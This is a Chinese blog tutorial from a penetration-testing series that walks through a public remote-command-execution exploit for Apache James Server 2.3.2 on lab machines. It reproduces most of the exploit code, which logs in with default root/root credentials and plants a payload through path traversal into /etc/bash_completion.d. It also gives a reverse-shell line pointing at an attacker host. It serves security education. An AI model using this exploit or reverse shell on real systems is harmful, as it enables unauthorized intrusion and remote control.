Day28 - Linux 编译 POC/exploit

复习:渗透测试的目的

在合法委托下,确认目标网站或系统有可利用的漏洞,若确认有目标在取得授权下,提升权限确认漏洞危害性。

  1. 找到漏洞,确认危害
  2. 合法授权测试,同意提权再进行提权

POC/exploit

除了利用 metasploit 内建的攻击脚本(以程序语言 Ruby 撰写),我们还可以透过曾经介绍过的 Exploit-db 与 Searchsploit 找到。

Exploit-db 上的 POC/exploit,可能透过程序语言或脚本如 Python、Perl、Ruby 或 Bash 撰写而成的。

下载这些 POC 或 exploit,需要了解这些程序码或脚本的内容,确认不会造成重大危害,且是符合自己的需求。

Tips:有一些恶意的 POC 或 exploit,会撰写後门、加密目标主机、或是把这台取得权现的受害主机当作殭屍网路。

直译/编译差别
以下简单介绍,粗略的直译语言与编译语言,C/C++ 都需要透过编译产生执行档。

取得 POC 的方法

  1. 浏览器下载 Exploit-db
  2. wget/curl 下载
  3. Searchsploit 复制程序码

Apache James Server 2.3.2 - Remote Command Execution

针对 Apache James 服务器的漏洞,透过 JAVA 撰写而成提供信件代理。

漏洞环境
漏洞环境:https://www.vulnhub.com/entry/solidstate-1,261/
或是 HTB:https://app.hackthebox.eu/machines/SolidState

漏洞POC
Searchsploit 35513
https://www.exploit-db.com/exploits/35513

解析 POC
作者针对 POC 进行的说明

#!/usr/bin/python
#
# Exploit Title: Apache James Server 2.3.2 Authenticated User Remote Command Execution
# Date: 16\10\2014
# Exploit Author: Jakub Palaczynski, Marcin Woloszyn, Maciej Grabiec
# Vendor Homepage: http://james.apache.org/server/
# Software Link: http://ftp.ps.pl/pub/apache/james/server/apache-james-2.3.2.zip
# Version: Apache James Server 2.3.2
# Tested on: Ubuntu, Debian
# Info: This exploit works on default installation of Apache James Server 2.3.2
# Info: Example paths that will automatically execute payload on some action: /etc/bash_completion.d , /etc/pm/config.d

Shebang
最首行表示这个 poc 预设使用的程序语言的解释器。
常见的如下

程序语言 解释器
Python #!/usr/bin/python
Bash #!/bin/bash
Bourne shell #!/bin/sh
Perl #!/usr/bin/perl

Payload

import socket
import sys
import time

# specify payload
#payload = 'touch /tmp/proof.txt' # to exploit on any user 
payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # to exploit only on root

查看程序码预设确认 id -u 是否为 0,如果是 0 表示以 root 权限执行,如果是 root 权限,并在 /root 资料夹中新增 proof.txt 档案,证明有漏洞。

预设帐号密码
Apache James 预设帐号密码为 root/root

# credentials to James Remote Administration Tool (Default - root/root)
user = 'root'
pwd = 'root'

确认原理
执行该程序需要有两个参数,参数0代表脚本自己,参数1代表目标IP。

if len(sys.argv) != 2:
    sys.stderr.write("[-]Usage: python %s <ip>\n" % sys.argv[0])
    sys.stderr.write("[-]Exemple: python %s 127.0.0.1\n" % sys.argv[0])
    sys.exit(1)

ip = sys.argv[1]

副函式
接收到指令就延迟 0.2 秒

def recv(s):
        s.recv(1024)
        time.sleep(0.2)

尝试连接
准备连接到目标系统,使用管理员工具。

s.connect((ip,4555))
Apache James 预设 port 可能为 4555 因此连线到目标IP:4555。

s.send(user + "\n")s.send(pwd + "\n") 表示宋预设帐号密码到目标机器。

准备新增新的使用者 exploit,将新使用者的登入资料夹设定为 ../../../../../../../../etc/bash_completion.d

try:
    print "[+]Connecting to James Remote Administration Tool..."
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((ip,4555))
    s.recv(1024)
    s.send(user + "\n")
    s.recv(1024)
    s.send(pwd + "\n")
    s.recv(1024)
    print "[+]Creating user..."
    s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n")
    s.recv(1024)
    s.send("quit\n")
    s.close()

进行mail连接
s.connect((ip,25))
Apache James SMTP 服务器预设 port 可能为 25 因此连线到目标IP:25。

寄送信件

  • 信件来自:<'@team.pl>
  • 寄送给:<../../../../../../../../etc/bash_completion.d
  • payload:payload
  • \r\n.\r\n:发送信件
  • quit:退出
    print "[+]Connecting to James SMTP server..."
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((ip,25))
    s.send("ehlo [email protected]\r\n")
    recv(s)
    print "[+]Sending payload..."
    s.send("mail from: <'@team.pl>\r\n")
    recv(s)
    # also try s.send("rcpt to: <../../../../../../../../etc/bash_completion.d@hostname>\r\n") if the recipient cannot be found
    s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n")
    recv(s)
    s.send("data\r\n")
    recv(s)
    s.send("From: [email protected]\r\n")
    s.send("\r\n")
    s.send("'\n")
    s.send(payload + "\n")
    s.send("\r\n.\r\n")
    recv(s)
    s.send("quit\r\n")
    recv(s)
    s.close()
    print "[+]Done! Payload will be executed once somebody logs in."
except:
    print "Connection failed."
            

漏洞流程

  1. 新增使用者,使用者的登入路径为特殊路径
  2. 寄信给新使用者一封有 payload 的信件
  3. paload 将储存於 /etc/bash_completion.d

修改payload
payload = 'bash -i >& /dev/tcp/[攻击主机IP]/[监听port] 0>&1'


<<:  ios app 上架流程

>>:  [DAY 30] _韧体学习路程经验谈

练习严谨

我自己秉持着最少力气解决问题,但换句话说就是,有点得过且过,尤其如果快要放假的时候,这时候“选对环境...

Day30 I’m on the next level

Summary 承续昨天所说,我们将PivotTable.js的版面调整,让资料区域的表格和图表可...

Day12 经常搞混的CSS Position

每次要用到绝对定位和相对定位时,我都会忘记他们分别代表的是什麽,又再google一次,这次决定好好把...

[30天 Vue学好学满 DAY26] axios & axios-mock-adapter

前一篇提完透过axios 进行HTTP请求,但前後端分离且分工的状态下,前端工程师为了验证成果需要透...

day8 kotlin coroutine的 runBlocking, withContext

runBlocking 中文用户如我们? 直译一下就是,跑一个塞住 恩,三小? 他真正的意思是,执行...